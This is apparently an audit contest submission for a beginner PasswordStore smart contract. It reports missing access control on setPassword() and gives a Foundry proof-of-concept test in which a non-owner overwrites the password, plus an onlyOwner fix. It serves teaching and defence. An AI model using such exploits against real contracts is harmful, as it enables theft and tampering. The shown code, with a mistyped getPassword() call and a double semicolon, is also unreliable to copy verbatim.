Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of access control on setPassword() allows anyone to change user's password

Summary

Missing modifier on setPassword() allows anyone to call the function and change owner's s_password. This breaks the core invariant of the contract.

Vulnerability Details

Coded POC:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {PasswordStore} from "../src/PasswordStore.sol";
contract ChangePassword is Test {
// Contract instance
PasswordStore ps;
// Sample address
address alice = makeAddr("alice");
function setUp() public {
ps = new PasswordStore(); // Creates new instance of PasswordStore contract and sets this contract to it's owner
}
function testChangeOwnerPassword() public {
vm.prank(alice);
ps.setPassword("hehe get rekt");
assertEq(getPassword(), "hehe get rekt");
}
}

Impact

Anyone can set a user's password to any other string value.

Tools Used

Manual Review

Recommendations

Add a modifier to setPassword() function to only allow the s_owner to call it.

modifier onlyOwner() {
if (msg.sender != s_owner) revert PasswordStore__NotOwner();;
_;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
about 2 years ago
inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-lacking-access-control

Anyone can call `setPassword` and set a new password contrary to the intended purpose.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.